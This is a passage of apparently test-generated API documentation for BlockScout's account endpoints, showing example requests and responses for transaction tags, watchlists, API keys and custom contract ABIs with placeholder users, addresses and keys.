_explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMWQABWVtYWlsbQAAABp0ZXN0X3VzZXItMUBibG9ja3Njb3V0LmNvbWQAAmlkYgAAAQZkAARuYW1lbQAAAApVc2VyIFRlc3QxZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjFkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMWQADHdhdGNobGlzdF9pZGIAAAEG.K4xvLgb-ji7_yiP-B80J_ItCchTMzzYcgcN7ku9a4B8; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2XSUU7NY8y8AAAME + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000001", + "name": "name1", + "id": 57 + } +### BlockScoutWeb.Account.Api.V1.UserController tags_transaction [GET /api/account/v1/user/tags/transaction] + + + + + ++ Request Get private transactions tags +**GET**  `/api/account/v1/user/tags/transaction` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjJkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTM2QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABG2QABG5hbWVtAAAAC1VzZXIgVGVzdDIyZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIyZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIyZAAMd2F0Y2hsaXN0X2lkYgAAARs.O7Ha2Ze8DT1d2yaZbQEy9tZXE6OUDWyuh3yoyB2WNAU; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2a4GFi44x6sAABii + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + [ + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000009", + "name": "name2", + "id": 64 + }, + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000008", + "name": "name1", + "id": 63 + }, + { + "transaction_hash": "0x0000000000000000000000000000000000000000000000000000000000000007", + "name": "name0", + "id": 62 + } + ] +### BlockScoutWeb.Account.Api.V1.UserController delete_tag_transaction [DELETE /api/account/v1/user/tags/transaction/{id}] + + + + ++ Parameters + + id: `58` + id: 58 + + ++ Request Delete private transaction tag +**DELETE**  `/api/account/v1/user/tags/transaction/58` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTRkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI2QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABE2QABG5hbWVtAAAAC1VzZXIgVGVzdDE0ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE0ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE0ZAAMd2F0Y2hsaXN0X2lkYgAAARM.XN0A5eUbCpZdpnhayHyU-YiQ4jm1-WjwYxvGD6JVCmg; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2Z9NDKXc1FcAABYC + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "message": "OK" + } +### BlockScoutWeb.Account.Api.V1.UserController create_watchlist [POST /api/account/v1/user/watchlist] + + + + + ++ Request Add address to watch list +**POST**  `/api/account/v1/user/watchlist` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "notification_settings": { + "native": { + "outcoming": true, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": true + } + }, + "notification_methods": { + "email": false + }, + "name": "test26", + "address_hash": "0x000000000000000000000000000000000000007f" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjBkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTMyQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABGWQABG5hbWVtAAAAC1VzZXIgVGVzdDIwZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIwZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIwZAAMd2F0Y2hsaXN0X2lkYgAAARk.vaGEF62HMb-YGk5JNfvq8xH6YkGmQaEEa1gpNIUmjJM; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2acnBbQAq20AAARF + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "notification_settings": { + "native": { + "outcoming": true, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": true + } + }, + "notification_methods": { + "email": false + }, + "name": "test26", + "id": 73, + "exchange_rate": null, + "address_hash": "0x000000000000000000000000000000000000007f", + "address_balance": null, + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007f" + } + } +### BlockScoutWeb.Account.Api.V1.UserController watchlist [GET /api/account/v1/user/watchlist] + + + + + ++ Request Get addresses from watchlists +**GET**  `/api/account/v1/user/watchlist` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjBkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTMyQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABGWQABG5hbWVtAAAAC1VzZXIgVGVzdDIwZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjIwZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDIwZAAMd2F0Y2hsaXN0X2lkYgAAARk.vaGEF62HMb-YGk5JNfvq8xH6YkGmQaEEa1gpNIUmjJM; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aiKtdsAq20AABhh + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + [ + { + "notification_settings": { + "native": { + "outcoming": true, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": false + }, + "ERC-20": { + "outcoming": false, + "incoming": false + } + }, + "notification_methods": { + "email": true + }, + "name": "test27", + "id": 74, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000080", + "address_balance": null, + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000080" + } + }, + { + "notification_settings": { + "native": { + "outcoming": true, + "incoming": true + }, + "ERC-721": { + "outcoming": true, + "incoming": false + }, + "ERC-20": { + "outcoming": true, + "incoming": true + } + }, + "notification_methods": { + "email": false + }, + "name": "test26", + "id": 73, + "exchange_rate": null, + "address_hash": "0x000000000000000000000000000000000000007f", + "address_balance": null, + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x000000000000000000000000000000000000007f" + } + } + ] +### BlockScoutWeb.Account.Api.V1.UserController delete_watchlist [DELETE /api/account/v1/user/watchlist/{id}] + + + + ++ Parameters + + id: `72` + id: 72 + + ++ Request Delete address from watchlist by id +**DELETE**  `/api/account/v1/user/watchlist/72` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTdkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI5QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABFmQABG5hbWVtAAAAC1VzZXIgVGVzdDE3ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE3ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE3ZAAMd2F0Y2hsaXN0X2lkYgAAARY.bngpdS3ELd9RFd1465ZhfhaitqcUi6xG4s0BoDGWoAw; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aNXuJ9GNz0AABch + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "message": "OK" + } +### BlockScoutWeb.Account.Api.V1.UserController update_watchlist [PUT /api/account/v1/user/watchlist/{id}] + + + + ++ Parameters + + id: `70` + id: 70 + + ++ Request Edit watchlist address +**PUT**  `/api/account/v1/user/watchlist/70` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": false + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test21", + "address_hash": "0x0000000000000000000000000000000000000064" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTBkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTIxQGJsb2Nrc2NvdXQuY29tZAACaWRiAAABD2QABG5hbWVtAAAAC1VzZXIgVGVzdDEwZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjEwZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDEwZAAMd2F0Y2hsaXN0X2lkYgAAAQ8.JqlZQRGTvi6UZy4cEjJW6UYnZgNo0LaoO3R4mxO_fFA; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2Zo1KOm2BRoAAAJl + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": false + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test21", + "id": 70, + "exchange_rate": null, + "address_hash": "0x0000000000000000000000000000000000000064", + "address_balance": null, + "address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": false, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000064" + } + } +### BlockScoutWeb.Account.Api.V1.UserController create_watchlist [POST /api/account/v1/user/watchlist] + + + + + ++ Request Example of error on creating watchlist address +**POST**  `/api/account/v1/user/watchlist` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": false + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test0", + "address_hash": "0x0000000000000000000000000000000000000001" + } + ++ Response 422 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMGQABWVtYWlsbQAAABp0ZXN0X3VzZXItMEBibG9ja3Njb3V0LmNvbWQAAmlkYgAAAQVkAARuYW1lbQAAAApVc2VyIFRlc3QwZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjBkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMGQADHdhdGNobGlzdF9pZGIAAAEF.4CS6L7Ror_vIdEgjt8Mh9y2TJagC83VObHAGZ-ABOI4; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2W1ZceoPnWQAAATj + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "errors": { + "watchlist_id": [ + "Address already added to the watch list" + ] + } + } +### BlockScoutWeb.Account.Api.V1.UserController update_watchlist [PUT /api/account/v1/user/watchlist/{id}] + + + + ++ Parameters + + id: `69` + id: 69 + + ++ Request Example of error on editing watchlist address +**PUT**  `/api/account/v1/user/watchlist/69` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "notification_settings": { + "native": { + "outcoming": false, + "incoming": false + }, + "ERC-721": { + "outcoming": false, + "incoming": true + }, + "ERC-20": { + "outcoming": false, + "incoming": true + } + }, + "notification_methods": { + "email": true + }, + "name": "test0", + "address_hash": "0x0000000000000000000000000000000000000001" + } + ++ Response 422 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMGQABWVtYWlsbQAAABp0ZXN0X3VzZXItMEBibG9ja3Njb3V0LmNvbWQAAmlkYgAAAQVkAARuYW1lbQAAAApVc2VyIFRlc3QwZAAIbmlja25hbWVtAAAACnRlc3RfdXNlcjBkAAN1aWRtAAAAD2Jsb2Nrc2NvdXR8MDAwMGQADHdhdGNobGlzdF9pZGIAAAEF.4CS6L7Ror_vIdEgjt8Mh9y2TJagC83VObHAGZ-ABOI4; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2W6esdoPnWQAAAKE + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "errors": { + "watchlist_id": [ + "Address already added to the watch list" + ] + } + } +### BlockScoutWeb.Account.Api.V1.UserController create_api_key [POST /api/account/v1/user/api_keys] + + + + + ++ Request Add api key +**POST**  `/api/account/v1/user/api_keys` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTZkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI4QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABFWQABG5hbWVtAAAAC1VzZXIgVGVzdDE2ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjE2ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDE2ZAAMd2F0Y2hsaXN0X2lkYgAAARU.bIr9Nod33f3ivryxZfzUGzSN34H8R1h_oOPJvRdulDY; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2aGwztUoK_8AAAnk + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "test", + "api_key": "5dcfeb7d-6a73-47ed-8001-130692ebdf30" + } + + ++ Request Example of error on creating api key +**POST**  `/api/account/v1/user/api_keys` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test" + } + ++ Response 422 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjRkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTM4QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABHWQABG5hbWVtAAAAC1VzZXIgVGVzdDI0ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjI0ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDI0ZAAMd2F0Y2hsaXN0X2lkYgAAAR0.K_0yxkRjZq43jcCKzlzgHFNjm7aB_BmvBzlTVbpDUYI; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2a-lcgwKyxIAAAuk + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "errors": { + "name": [ + "Max 3 keys per account" + ] + } + } +### BlockScoutWeb.Account.Api.V1.UserController api_keys [GET /api/account/v1/user/api_keys] + + + + + ++ Request Get api keys list +**GET**  `/api/account/v1/user/api_keys` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMjRkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTM4QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABHWQABG5hbWVtAAAAC1VzZXIgVGVzdDI0ZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjI0ZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDI0ZAAMd2F0Y2hsaXN0X2lkYgAAAR0.K_0yxkRjZq43jcCKzlzgHFNjm7aB_BmvBzlTVbpDUYI; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2a-2qPMKyxIAABki + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + [ + { + "name": "test", + "api_key": "00c90b31-db68-4de5-8022-32b6d9bdfaf2" + }, + { + "name": "test", + "api_key": "936f1623-4cfb-4581-badf-ff82193cc55e" + }, + { + "name": "test", + "api_key": "8af19684-7d84-4fa5-bc5e-98391204fa21" + } + ] +### BlockScoutWeb.Account.Api.V1.UserController update_api_key [PUT /api/account/v1/user/api_keys/{api_key}] + + + + ++ Parameters + + api_key: `e6fcab8c-d092-415d-a64e-caeebdab7e0a` + api_key: e6fcab8c-d092-415d-a64e-caeebdab7e0a + + ++ Request Edit api key +**PUT**  `/api/account/v1/user/api_keys/e6fcab8c-d092-415d-a64e-caeebdab7e0a` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test_1" + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTNkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTI1QGJsb2Nrc2NvdXQuY29tZAACaWRiAAABEmQABG5hbWVtAAAAC1VzZXIgVGVzdDEzZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjEzZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDEzZAAMd2F0Y2hsaXN0X2lkYgAAARI.oCXF9HRta7QoX4kvCCJGwXim8h2PvKmQnL3qC-BrYT0; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZxOPw0OLVMAABTC + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "test_1", + "api_key": "e6fcab8c-d092-415d-a64e-caeebdab7e0a" + } +### BlockScoutWeb.Account.Api.V1.UserController delete_api_key [DELETE /api/account/v1/user/api_keys/{api_key}] + + + + ++ Parameters + + api_key: `ed840181-ee0a-49e7-931c-ed12c44c3c5c` + api_key: ed840181-ee0a-49e7-931c-ed12c44c3c5c + + ++ Request Delete api key +**DELETE**  `/api/account/v1/user/api_keys/ed840181-ee0a-49e7-931c-ed12c44c3c5c` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyOGQABWVtYWlsbQAAABt0ZXN0X3VzZXItMThAYmxvY2tzY291dC5jb21kAAJpZGIAAAENZAAEbmFtZW0AAAAKVXNlciBUZXN0OGQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI4ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDhkAAx3YXRjaGxpc3RfaWRiAAABDQ.N8IAT9JlprYQcjF97-2AwyvKRZ2pWrOhPA-piu_yjxY; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZeeHae-W7UAABPi + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "message": "OK" + } +### BlockScoutWeb.Account.Api.V1.UserController create_custom_abi [POST /api/account/v1/user/custom_abis] + + + + + ++ Request Add custom abi +**POST**  `/api/account/v1/user/custom_abis` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test3", + "contract_address_hash": "0x0000000000000000000000000000000000000049", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyNWQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTVAYmxvY2tzY291dC5jb21kAAJpZGIAAAEKZAAEbmFtZW0AAAAKVXNlciBUZXN0NWQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI1ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDVkAAx3YXRjaGxpc3RfaWRiAAABCg.Ed2YB-WoqETtu1WlAOdX7KJi6sFIJ1SGIeS89Aie2pg; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2Y2Ja_DGUGwAAAWE + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "name": "test3", + "id": 146, + "contract_address_hash": "0x0000000000000000000000000000000000000049", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000049" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } + + ++ Request Example of error on creating custom abi +**POST**  `/api/account/v1/user/custom_abis` + + + Headers + + content-type: multipart/mixed; boundary=plug_conn_test + + Body + + { + "name": "test19", + "contract_address_hash": "0x0000000000000000000000000000000000000059", + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + } + ++ Response 422 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyNmQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTZAYmxvY2tzY291dC5jb21kAAJpZGIAAAELZAAEbmFtZW0AAAAKVXNlciBUZXN0NmQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI2ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDZkAAx3YXRjaGxpc3RfaWRiAAABCw.SNgNlsqLtHPQ2HgJTPlyNjbvKw2FlW_U6_cJXTD-ZE4; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZR-dhCywD0AABJC + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + { + "errors": { + "name": [ + "Max 15 ABIs per account" + ] + } + } +### BlockScoutWeb.Account.Api.V1.UserController custom_abis [GET /api/account/v1/user/custom_abis] + + + + + ++ Request Get custom abis list +**GET**  `/api/account/v1/user/custom_abis` + + ++ Response 200 + + + Headers + + set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAlaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyNmQABWVtYWlsbQAAABt0ZXN0X3VzZXItMTZAYmxvY2tzY291dC5jb21kAAJpZGIAAAELZAAEbmFtZW0AAAAKVXNlciBUZXN0NmQACG5pY2tuYW1lbQAAAAp0ZXN0X3VzZXI2ZAADdWlkbQAAAA9ibG9ja3Njb3V0fDAwMDZkAAx3YXRjaGxpc3RfaWRiAAABCw.SNgNlsqLtHPQ2HgJTPlyNjbvKw2FlW_U6_cJXTD-ZE4; path=/; SameSite=Lax + content-type: application/json; charset=utf-8 + cache-control: max-age=0, private, must-revalidate + x-request-id: Fy1W2ZSytrGywD0AABJi + access-control-allow-credentials: true + access-control-allow-origin: * + access-control-expose-headers: + + Body + + [ + { + "name": "test18", + "id": 161, + "contract_address_hash": "0x0000000000000000000000000000000000000058", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000058" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test17", + "id": 160, + "contract_address_hash": "0x0000000000000000000000000000000000000057", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000057" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test16", + "id": 159, + "contract_address_hash": "0x0000000000000000000000000000000000000056", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000056" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test15", + "id": 158, + "contract_address_hash": "0x0000000000000000000000000000000000000055", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000055" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test14", + "id": 157, + "contract_address_hash": "0x0000000000000000000000000000000000000054", + "contract_address": { + "watchlist_names": [], + "public_tags": [], + "private_tags": [], + "name": null, + "is_verified": false, + "is_contract": true, + "implementation_name": null, + "hash": "0x0000000000000000000000000000000000000054" + }, + "abi": [ + { + "type": "function", + "stateMutability": "nonpayable", + "payable": false, + "outputs": [], + "name": "set", + "inputs": [ + { + "type": "uint256", + "name": "x" + } + ], + "constant": false + }, + { + "type": "function", + "stateMutability": "view", + "payable": false, + "outputs": [ + { + "type": "uint256", + "name": "" + } + ], + "name": "get", + "inputs": [], + "constant": true + } + ] + }, + { + "name": "test13", + "id": 